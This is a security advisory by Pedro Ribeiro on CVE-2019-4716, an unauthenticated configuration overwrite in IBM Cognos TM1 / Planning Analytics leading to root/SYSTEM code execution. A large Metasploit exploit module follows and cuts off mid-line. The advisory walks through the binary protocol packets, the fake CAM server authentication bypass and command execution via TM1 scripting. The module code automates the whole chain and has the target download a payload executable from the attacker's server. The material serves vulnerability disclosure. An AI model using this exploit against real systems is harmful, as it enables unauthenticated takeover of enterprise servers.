IBM Cognos TM1 / IBM Planning Analytics Server Configuration Overwrite / Code Execution

2020.03.29
Credit: Pedro Ribeiro
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-306


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

Hi, Here's a fun one I have been working on for some time. tl;dr IBM PA / TM1, dating back to 2014, maybe 2009 is vulnerable to a unauthenticated configuration overwrite; this is abused to "fake authenticate" to it, and finally execute code as root / SYSTEM using TM1 scripting. Advisory below, permalink in: https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt Exploit: https://github.com/rapid7/metasploit-framework/pull/13152 Have fun! =========== >> Configuration Overwrite in IBM Cognos TM1 / IBM Planning Analytics Server >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/) ========================================================================== Disclosure: 17/12/2019 / Last updated: 27/03/2020 >> Executive Summary: IBM Cognos TM1 Server / Planning Analytics Server (TM1) is an Enterprise Resource Planning (ERP) software, currently owned by IBM, which has been in existence since 1983. The server provides complex primitives to process data from several different sources, query and display it in Excel spreadsheets, graphs, etc. TM1 has two main components: the Admin server and the Application server(s). The Admin server stores information about the location and configuration details of Application servers. Each application is deployed in its own Application server. An application is a collection of data, objects and processes, which can be queried and modified in a number of ways through client programs such as IBM TM1 Architect, a REST API, remote scripts, etc. TM1 server can be run on Windows or Linux operating systems. The vulnerability described in this advisory affect the Application server component. The Application server requires authentication to perform most functions, but this vulnerability can be exploited pre-authentication. The critical vulnerability is a configuration overwrite that allows an unauthenticated user to login as "admin", and then execute code as root or SYSTEM via TM1 scripting. This vulnerability has been assigned CVE-2019-4716, and was fixed with the release of IBM Planning Analytics 2.0.9 on 17th of December 2019 (refer to the IBM advisory for details [1]). A Metasploit exploit module that abuses this vulnerability was released, and will be integrated in the Metasploit framework soon ([2]). This exploit was tested and confirmed to be working on all TM1 versions until at least 10.2.2, released in 2014. It is likely that older versions, possibly up to 8.X, are also vulnerable. Readers are encouraged to contact the author to share success stories. A special thanks to CERT/CC for assisting with the disclosure of this vulnerability, and to Gareth Batchelor of Cloudtrace for doing real world testing of the exploit. >> Vendor Description [3]: IBM Planning Analytics, powered by IBM TM1, is an integrated planning solution designed to promote collaboration across the organization and help keep pace with the speed of modern business. With a powerful calculation engine, this enterprise performance management solution helps you move beyond the limits of spreadsheets, automating the planning process to drive faster, more accurate results. Simplify oceans of data by unifying data sources into one single repository and empowering users to build sophisticated, multidimensional models that drive more reliable forecasts. >> Technical Introduction: The TM1 Application server and Admin server communicate between themselves and between the client applications in two ways: either through a REST API or through a binary protocol. The REST API is optional but the binary protocol is set up by default upon installation. The binary protocol message layout is described below: packet_size (2 bytes) sizeof(packet_header + message_type + message_data + packet_end) packet_header (4 bytes) [ 0, 0, 0xff, 0xff ] message_type (2 bytes) 0x1 to 0x1e2 message_data (X bytes) actual message packet_end (2 bytes) [ 0xff, 0xff ] The message_type component contains the number of the remote method being invoked. message_data will vary according to each method. For example, an authentication request is as follows: auth_packet = packet_size + packet_header + message_type_auth + empty_auth_obj + application_name + username + password + client_ip + auth_trailer + packet_end All of the components defined above, except for packet_size, packet_header, message_type_auth and packet_end, are encapsulated in defined protocol objects. For example, if the application we are sending a message to is called app, the application_name component would look like this: [ 0xe, 0, 3, 0x61, 0x70, 0x70 ] 0xe indicates the object type, which is a string. The next two bytes are the size of the string - 0x03 bytes in total, and the remaining bytes are the ASCII codes for "app". The following objects are defined in the protocol: 0x2: ASCII string 0x3: Index 0x4: Boolean 0x5: Object Pointer 0x7: Array 0xe: UTF8 string 0xf: binary string Most object types are self explanatory, except for the Object Pointer. While the name seems very interesting from an exploitation point of view, this type does not represent a pointer in memory, but simply a numeric reference to a remote object that is created in the server. Note that the protocol was not reversed extensively, just enough to achieve exploitation of the vulnerabilities described in this advisory. There are plenty of details that were not researched due to lack of time. Going back to the authentication request, the actual packet data would look like this: auth_packet = # packet_size sizeof(auth_packet) + # packet_header [ 0, 0, 0xff, 0xff ] + # message_type_auth [ 0, 1 ] + # empty_auth_obj [ 5, 3, 0, 0, 0, 0, 0, 0, 0 ] + # application_name ("app") [ 0xe, 0, 3, 0x61, 0x70, 0x70 ] + # username ("admin") [ 0xe, 0, 5, 0x61, 0x64, 0x6d, 0x69, 0x6e ] + # password (encoded) [ 0xf, 0, 5, 0xfa, 0x64, 0x78, 0x7b, 0xad ] + # client_ip [ 0xe, 0, 7, 0x31, 0x2e, 0x31, 0x2e, 0x31, 0x2e, 0x31 ] + # client_version [ 3, 6, 0x94, 0x92, 0x00 ] + # packet_end [ 0xff, 0xff ] Of the objects above, we will go through the ones that are not self-explanatory, starting with empty_auth_object. In a message that would call another function (different message_type), empty_auth_object would contain a object number used by the server to verify authentication (see auth_object in the next protocol packet example). This object number is returned upon successful authentication, and sent by the client in every subsequent request. Since this is the authentication function we just send all zeroes. The password is encoded as a binary string. This is because it is "hashed" (actually encoded) before being sent over the wire. client_version is a hex number that specifies the version of the client performing the login: 0x6949200 = 110400000, or version 11.4 in this case. If this authentication request was successful, the server would return the following: auth_response = # packet_size sizeof(auth_response) + # packet_header [ 0, 0, 0xff, 0xff ] + # auth_object [ 5, 3, 0xc3, 0x80, 0, 0xe, 0xdd, 0, 0 ] + # packet_end [ 0, 0 ] After receiving this packet, the client would then be able to call other functions in the server by providing the auth_object returned by the server in this message. The TM1 protocol contains several authentication methods. The one that was just described is the simplest one, username and password. There is another method that authenticates with LDAP, another with certificates, Kerberos, etc. These methods can obviously be called pre-authentication; however there are a handful of other, non-authentication methods that can also be called before authenticating to the server. Most of these are harmless, but as we will see in the Vulnerability Details, there is one in particular that can be abused. The protocol is complex, but the details described above are enough to understand the vulnerabilities described in this advisory. The REST API was not explored in much detail. Since the binary protocol is the one enabled by default, it was chosen as the focus of this research. The function names listed in this advisory are symbols in the tm1s.exe binary from a Linux installation of IBM Planning Analytics 2.0.6, which is the binary that runs the Application server instances. The binary is configured using a tm1s.cfg file that lives in the same directory as the application data. Application servers can run on arbitrary ports and use arbitrary names. However, the names, ports and TLS configuration can be obtained by querying the Admin server, as the other Cognos client / desktop applications do, and this is actually used in the exploit released with this advisory ([2]). >> Vulnerability Details: Missing Authentication for Critical Function (CWE-306) CVE-2019-4716 Risk Classification: Critical Attack Vector: Remote Constraints: None Affected products / versions: - IBM Cognos TM1 versions 10.2.2 (older versions as low as 8.X might be vulnerable) - IBM Planning Analytics versions <= 2.0.8 One of the remote methods that can be called pre-authentication is named sv_ProcessUpdateFromCentral() (message_type 0x1ae). The purpose of this method is to update application data and server variables according to the requests of a central server when TM1 is deployed in distributed mode. These server variables contain critical configuration data - for example, even JAVA_HOME can be altered using this function by an unauthenticated attacker. The packet format is as follows: update_packet = # packet_header [ 0, 0, 0xff, 0xff ] + # message_type_update [ 0x1, 0xae ] + # empty_auth_obj [ 5, 3, 0, 0, 0, 0, 0, 0, 0 ] + # defines an Array of 7 elements [ 7, 0, 0, 0, 7 ] + # first array object, Index (required; unknown why but fixed value seems to work) [ 3, 0, 0, 0, 2 ] + # second array object, Index (required; unknown why but fixed value seems to work) [ 3, 0, 0, 0, 2 ] + # third array object, Index (required; unknown why but fixed value seems to work) [ 3, 0, 0, 0, 2 ] + # application_name ("app"); however it can be a random string [ 0xe, 0, 3, 0x61, 0x70, 0x70 ] + # file_name ("tm1s_delta.cfg") [ 0xe, 0, 0xa, 0x74, 0x6d, 0x31, 0x73, 0x5f, 0x64, 0x65, 0x6c, 0x74, 0x61, 0x2e, 0x63, 0x66, 0x67 ] + # file_data, binary type 0xf <REMOVED> + # timestamp, string type 0xe; can be a random string <REMOVED> + # packet_end [ 0xff, 0xff ] The file_name object above was set to "tm1s_delta.cfg" as that is what the remote method expects. If that file_name is provided, the server will read the file_data object, process its configuration updates and delete the file. This is done through a series of function calls: sv_ProcessUpdateFromCentral() <-- message_type 0x1ae invokes this function ProcessAllUpdates() <-- file_data is created and deleted here, application variables are processed MergeDynamicConfigParameters() <-- if a tm1s_delta.cfg file was sent, process it srv_Config() <-- ... and update server variables If a different file name is provided, file_data will not be processed; however it will still be written to disk under <app_base>/data/}distributedupdates/<file_name> as root and with execute permissions, but will deleted as soon as the method terminates. Luckily for the attacker, if we insert path traversal characters "../../" in the file_name, the file will be written to other directories and it will not be deleted when the remote method terminates. There are multiple ways to exploit this vulnerability. Firstly, there is a clear race condition described above. This could be exploited by replacing /etc/shadow on Linux and logging in via SSH or by dropping a file in the TM1 Java REST server and executing it. Secondly, we can update several global configuration variables, which are copied into the globals section of the tm1s.exe binary. From then on, they are used in several other functions, and these functions blindly trust the data in the global variables with few length checks, meaning it is possible to find and exploit several buffer overflows in this way. In the end, it was decided to actually use the built-in server scripting to achieve unauthenticated remote code execution in a reliable way without memory corruption, so that the exploit doesn't need modification for different versions and platforms. ========================= Bypassing authentication: ========================= There are several methods to authenticate to the Application servers. A simple user / password combo can be configured, LDAP authentication, Kerberos authentication, etc. This is controlled by the variable "IntegratedSecurityMode", which is set in the "tm1s.cfg" Application server configuration file, which can be modified as per the method described previously. The "CAM" authentication method is unique to TM1, and it is a SOAP protocol based authentication to a remote server. Using the configuration variable overwriting, we can modify several values to force the Application server to authenticate to a CAM server that we control. To authenticate and impersonate any user in the server we need to: a) start a "fake" CAM server b) modify the configuration in TM1 to authenticate using CAM, and point it to our fake CAM server c) authenticate to TM1 using the CAM method d) fake CAM server responds with valid account and session objects for a pre-existing account in the server (such as "admin") e) TM1 grants us a session token (auth object) Step a) is simple; we need to start a SOAP server that responds in accordance to the CAM protocol. More on that below. In step b), we need to update the following configuration variables: IntegratedSecurityMode=4 ServerCAMURI=http://<HOST>:<PORT> ServerCAMURIRetryAttempts=10 ServerCAMIPVersion=ipv4 CAMUseSSL=F In step c), we authenticate using message_type_cam (0x8), which invokes the sv_SystemServerConnectWithCAMPassport() function. This authentication call will invoke several other functions, notably and , which will trigger 3 requests to our CAM server that we set up in a). Starting step d), in the first request, the CAM server has to answer with the account info, containing a valid username: <item xsi:type="bus:account"> <defaultName><value>admin</value></defaultName> </item> In the second request, the CAM server has to reply with the session info, which again has to contain a valid username: <item xsi:type="bus:session"> <identity> <value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[3]"> <item xsi:type="bus:account"> <searchPath><value>admin</value></searchPath> </item> </value> </identity> </item> As for the third request, we can send random data inside the SOAP envelope, as it is not needed for successful authentication. Finally, if the username we provided in the XML returned by the CAM server exists in the Application server ("admin" is a safe bet since it has full privileges and always exists), in step e) we get a valid auth_object such as [ 5, 3, 0xc3, 0x80, 0, 0xe, 0xdd, 0, 0 ]. A simplified call tree is shown below: sv_SystemServerConnectWithCAMPassport() <-- function invoked with message_type_cam (0x8) GetClientWithCAMPassport() <-- sets up CAM server URL, SSL and connection properties CreateCAMUser() <-- calls the CAM server twice and returns a CT1CAMUser object QueryNameSpace() <-- performs a third call to the CAM server, which can be ignored GetClientByName() <-- fetches a TM1Client object with the CT1CAMUser username (...) <-- if GetClientByName() succeeds, returns an auth_object ========================= Achieving code execution: ========================= Once we are authenticated as "admin", achieving remote code execution is easy. One of the remote methods that can only be invoked by administrators is "sv_ProcessExecuteEx()" (message_type 0xc4), which despite the name does not execute operating system processes, but executes TM1 language scripts which can be defined by the user [4] [5]. However TM1 has a script language primitive named "ExecuteCommand", which will indeed execute operating system commands as the server user, which is root in Linux and SYSTEM in Windows [6]. In order to achieve command execution we need to: f) create a TM1 script Process object in the server by invoking sv_ProcessCreateEmpty() (message_type 0x9c) g) add the ExecuteCommand primitive, and our command inside in the Process object by invoking sv_ObjectPropertySet() (message_type 0x25) g) register the Process object on the server by invoking sv_ObjectRegister() (message_type 0x21) h) invoke the Process object with sv_ProcessExecuteEx() (message_type 0xc4) ... which will then execute our command, resulting in the complete compromise of the TM1 server host by an unauthenticated attacker. The only thing left to say is that in the exploit provided with this advisory [2], we initially retrieve the current authentication method by querying the server status (message_type_config, 0x135). At the end of the exploit, after we have achieved code execution, we clean up the variables we set up and restore the original authentication method. Due to the complexity of the protocol and exploit, many details were left out of this advisory in order to facilitate comprehension. More insight can be gained by reading the publicly released exploit [2]. >> Solutions / Vulnerability Fixes / Mitigation: - Follow IBM's recommendations at [1] and upgrade to the latest IBM Planning Analytics 2.0.9. - Do not expose TM1 / Planning Analytics to the Internet. >> Disclaimer: Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. >> References: [1] https://www.ibm.com/support/pages/node/1127781 [2] https://github.com/rapid7/metasploit-framework/pull/13152 [3] https://www.ibm.com/products/planning-analytics [4] https://www.ibm.com/support/knowledgecenter/en/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/c_tm1turbointegratorfunctions_n70006.html [5] https://www.ibm.com/support/knowledgecenter/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/r_tm1_ref_tifun_executeprocess.html?view=embed [6] https://www.ibm.com/support/knowledgecenter/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/r_tm1_ref_tifun_executecommand.html?view=embed All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business. -- Pedro Ribeiro Vulnerability and Reverse Engineer / Cyber Security Specialist pedrib@gmail.com PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C ------------------------------------------------------------------------ Metasploit exploit module ibm_tm1_unauth_rce.rb: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "", 'Description' => %q{ This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows an unauthenticated attacker to perform a configuration overwrite. It starts by quering the Admin server for the available applications, picks one, and then exploits it. You can also provide an application name to bypass this. The configuration overwrite is used to change an application server authentication method to "CAM", a proprietary IBM auth method, which is simulated by the exploit. The exploit then performs a fake authentication as admin, and finally abuses TM1 scripting to perform a command injection as root or SYSTEM. Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux. Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014). The RPOR }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module 'Gareth Batchelor <gbatchelor@cloudtrace.com.au>' # Real world exploit testing and feedback ], 'References' => [ [ 'CVE', '2019-4716' ], [ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ], [ 'URL', 'GITHUB' ], [ 'URL', 'FULL_DISC' ] ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ '(Windows) IBM TM1 <= 10.2.2 / Planning Analytics <= 2.0.8', { 'Platform' => 'win' } ], [ '(Linux) IBM TM1 <= 10.2.2 / Planning Analytics <= 2.0.8', { 'Platform' => 'linux' } ], ], 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground 'DefaultOptions' => { # give the target lots of time to download the payload 'WfsDelay' => 30, }, 'Privileged' => true, 'DisclosureDate' => "Dec 19 2019", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5498), OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), ]) register_advanced_options [ OptString.new('APP_NAME', [false, 'Name of the target application']), OptInt.new('AUTH_ATTEMPTS', [true, "Number of attempts to auth to CAM server", 10]), ] end ## Packet structure start # these are client message types MSG_TYPES = { :auth => [ 0x0, 0x1 ], :auth_uniq => [ 0x0, 0x3 ], :auth_1001 => [ 0x0, 0x4 ], :auth_cam_pass => [ 0x0, 0x8 ], :auth_dist => [ 0x0, 0xa ], :obj_register => [ 0, 0x21 ], :obj_prop_set => [ 0, 0x25 ], :proc_create => [ 0x0, 0x9c ], :proc_exec => [ 0x0, 0xc4 ], :get_config => [ 0x1, 0x35 ], :upd_clt_pass => [ 0x1, 0xe2 ], :upd_central => [ 0x1, 0xae ], } # packet header is universal for both client and server PKT_HDR = [ 0, 0, 0xff, 0xff ] # pkt end marker (client only, server responses do not have it) PKT_END = [ 0xff, 0xff ] # empty auth object, used for operations that do not require auth AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] # This is actually the client version number # 0x6949200 = 110400000 in decimal, or version 11.4 # The lowest that version 11.4 seems to accept is 8.4, so leave that as the default # 8.4 = 0x4CACE80 # 9.1 = 0x55ED120 # 9.4 = 0x5636500 # 10.1 = 0x5F767A0 # 10.4 = 0x5FBFB80 # 11.1 = 0x68FFE20 # 11.4 = 0x6949200 # # If something doesn't work, try using one of the values above, but bear in mind this module # was tested on 10.2.2 and 11.4, VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ] ## Packet structure end ## Network primitives start # unpack a string (hex string to array of bytes) def str_unpack(str) arr = [] str.scan(/../).each do |b| arr += [b].pack('H*').unpack('C*') end arr end # write strings directly to socket; each 2 string chars are a byte def sock_rw_str(sock, msg_str) sock_rw(sock, str_unpack(msg_str)) end # write array to socket and get result # wait should also be implemented in msf def sock_rw(sock, msg, ignore = false, wait = 0) sock.write(msg.pack('C*')) if not ignore if wait != 0 sleep(wait) end recv_sz = sock.read(2).unpack('H*')[0].to_i(16) bytes = sock.read(recv_sz-2).unpack('H*')[0] bytes end end def sock_r(sock) recv_sz = sock.read(2).unpack('H*')[0].to_i(16) bytes = sock.read(recv_sz-2).unpack('H*')[0] bytes end def get_socket(app_host, app_port, ssl = 0) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp( { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 } ) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError sock.close if sock end if sock.nil? fail_with(Failure::Unknown, 'Failed to connect to the chosen application') end if ssl == 1 # also need to add support for old ciphers ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::SSL3_VERSION ctx.security_level = 0 ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE s = OpenSSL::SSL::SSLSocket.new(sock, ctx) s.sync_close = true s.connect return s end return sock end ## Network primitives end ## Packet primitives start def pack_sz(sz) [sz].pack('n*').unpack('C*') end # build a packet, ready to send def pkt_build(msg_type, auth_obj, contents) pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END pack_sz(pkt.length + 2) + pkt end # extracts the first object from a server response def obj_extract(res) arr = str_unpack(res) # ignore packet header (4 bytes) arr.shift(PKT_HDR.length) if arr[0] == 5 # this is an object, get the type (1 byte) plus the object bytes (9 bytes) obj = Array.new obj = arr[0..9] obj end end # adds a string to a packet # C string = 0x2; utf string = 0xe; binary = 0xf def stradd(str, type = 0xe) arr = [ type ] # string type arr += pack_sz(str.length) arr += str.unpack('C*') arr end # packs binary data into an array def datapack(data) arr = [] data.chars.each do |d| arr << d.ord end arr end def binadd(data) arr = [ 0xf ] # binary type 0xf arr += pack_sz(data.length) # 2 byte size arr += datapack(data) # ... and add the data end def get_str(data) s = "" while data[0] != '"'.ord data.shift end data.shift while data[0] != '"'.ord s += data[0].chr data.shift end # comma data.shift s end # This fetches the current IntegratedSecurityMode from a packet such as # 0000ffff070000000203000000 01 07000000020e00000e0000 (1) # 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2) # 0000ffff070000000203000000 06 07000000010e0000 (6) def get_auth(data) # make it into an array data = str_unpack(data) if data.length > 13 # skip 13 bytes (header + array indicator + index indicator) data.shift(13) # fetch the auth method byte data[0] end end def update_auth(auth_method, restore = false) # first byte of data is ignored, so add an extra space if not restore # To enable CAM server authentication over SSL, the CAM server certificate has to be previously # imported into the server. Since we can't do this, disable SSL in the fake CAM. srv_config = " IntegratedSecurityMode=#{auth_method}\n" + "ServerCAMURI=http://#{srvhost}:#{srvport}\n" + "ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" + "CAMUseSSL=F\n" else srv_config = " IntegratedSecurityMode=#{auth_method}" end arr = [ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is [ 3 ] + [ 0, 0, 0, 2 ] + # same here [ 3 ] + [ 0 ] * 4 + # same here stradd(rand_text_alpha(5..12)) + # same here... stradd("tm1s_delta.cfg") + # update file name binadd(srv_config) + # file data stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf upd_auth = pkt_build( MSG_TYPES[:upd_central], AUTH_OBJ_EMPTY, [ 7 ] + # array type [ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt) arr ) upd_auth end ## Packet primitives end ## CAM HTTP functions start def on_request_uri(cli, request) xml_res = %{<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1"> <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <cm:queryResponse> <result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]"> PLACEHOLDER </result> </cm:queryResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope>} session = %Q{ <item xsi:type="bus:session"> <identity> <value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]"> <item xsi:type="bus:account"> <searchPath><value>admin</value></searchPath> </item> </value> </identity> </item>} account = %Q{ <item xsi:type="bus:account"> <defaultName><value>admin</value></defaultName> </item>} headers = { "SOAPAction" => "\"http://developer.cognos.com/schemas/contentManagerService/1\""} if request.body.include? "<searchPath>/</searchPath>" print_good("CAM: Received first CAM query, responding with account info") response = xml_res.sub('PLACEHOLDER', account) elsif request.body.include? "<searchPath>~~</searchPath>" print_good("CAM: Received second CAM query, responding with session info") response = xml_res.sub('PLACEHOLDER', session) elsif request.body.include? "<searchPath>admin</searchPath>" print_good("CAM: Received third CAM query, responding with random garbage") response = rand_text_alpha(5..12) elsif request.method == "GET" print_good("CAM: Received request for payload executable, shell incoming!") response = @pl headers = { "Content-Type" => "application/octet-stream" } else print_error("CAM: received unknown request") end send_response(cli, response, headers) end ## CAM HTTP functions end def restore_auth(app, auth_current) print_status("Restoring original authentication method #{auth_current}") upd_cent = update_auth(auth_current, true) s = get_socket(app[2], app[3], app[5]) sock_rw(s, upd_cent, true) s.close end def exploit # first let's check if SRVHOST is valid if datastore['SRVHOST'] == "0.0.0.0" fail_with(Failure::Unknown, "Please enter a valid IP address for SRVHOST") end # The first step is to query the administrative server to see what apps are available. # This action can be done unauthenticated. We then list all the available app servers # and pick a random one that is currently accepting clients. This step is important # not only to know what app servers are available, but also to know if we need to use # SSL or not. # The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495 # # Step 1: fetch the available applications / servers from the Admin server # ... if the user did not enter an APP_NAME if datastore['APP_NAME'].nil? connect print_status("Connecting to admin server and obtaining application data") # for this packet we use string type 0xc (?) and cut off the PKT_END pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc) pkt_control = pack_sz(pkt_control.length + 2) + pkt_control data = sock_rw(sock, pkt_control) disconnect if data # now process the response apps = [] data = str_unpack(data) # ignore packet header (4 bytes) data.shift(PKT_HDR.length) # now just go through the list we received, sample format below # "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014" # "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010" # "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312" # "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354" # "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011" # "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010" while data != nil and data.length > 2 # skip the marker (0x0, 0x5) that indicates the start of a new app data = data[2..-1] # read the size and fetch the data size = (data[0..1].pack('C*').unpack('H*')[0].to_i(16)) data_next = data[2+size..-1] data = data[2..size] # first is application name app_name = get_str(data) # second is protocol, we don't care proto = get_str(data) # third is IP address ip = get_str(data) # app port port = get_str(data) # mtt maybe? don't care mtt = get_str(data) # not sure, and don't care unknown = get_str(data) # localhost addresses? again don't care unknown_addr = get_str(data) # I think this is the accepting clients flag accepts = get_str(data) # and this is a key one, the SSL flag ssl = get_str(data) # the leftover data is related to the REST API *I think*, so we just ignore it print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}") apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i]) data = data_next end else fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server') end # now pick a random application server that is accepting clients via TCP app = apps.sample total = apps.length count = 0 # TODO: check for null return here, and probably also response size > 0x20 while app[1] != "tcp" and app[4] != 1 and count < total app = apps.sample count += 1 end if count == total fail_with(Failure::Unknown, 'Failed to find an application we can attack') end print_status("Picked #{app[0]} as our target, connecting...") else # else if the user entered an APP_NAME, build the app struct with that info ssl = datastore['SSL'] app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)] print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? "on" : "off"}") end s = get_socket(app[2], app[3], app[5]) # Step 2: get the current app server configuration variables, such as the current auth method used get_conf = stradd(app[0]) get_conf += VERSION auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf) data = sock_rw(s, auth_get) auth_current = get_auth(data) print_good("Current auth method is #{auth_current}, we're good to go!") s.close # Step 3: start the fake CAM server / exploit server @pl = generate_payload_exe # do not use SSL for the CAM server! if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end print_status("Starting up the fake CAM server...") start_service( { 'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => '/' }, } ) datastore['SSL'] = true if ssl_restore # Step 4: send the server config update packet, and ignore what it sends back print_status("Changing authentication method to 4 (CAM auth)") upd_cent = update_auth(4) s = get_socket(app[2], app[3], app[5]) sock_rw(s, upd_cent, true) s.close # Step 5: send the CAM auth request and obtain the authentication object # app name auth_pkt = stradd(app[0]) auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects # passport, can be random auth_pkt += stradd(rand_text_alpha(5..12)) # no idea what these vars are, but they don't seem to matter auth_pkt += stradd(rand_text_alpha(5..12)) auth_pkt += 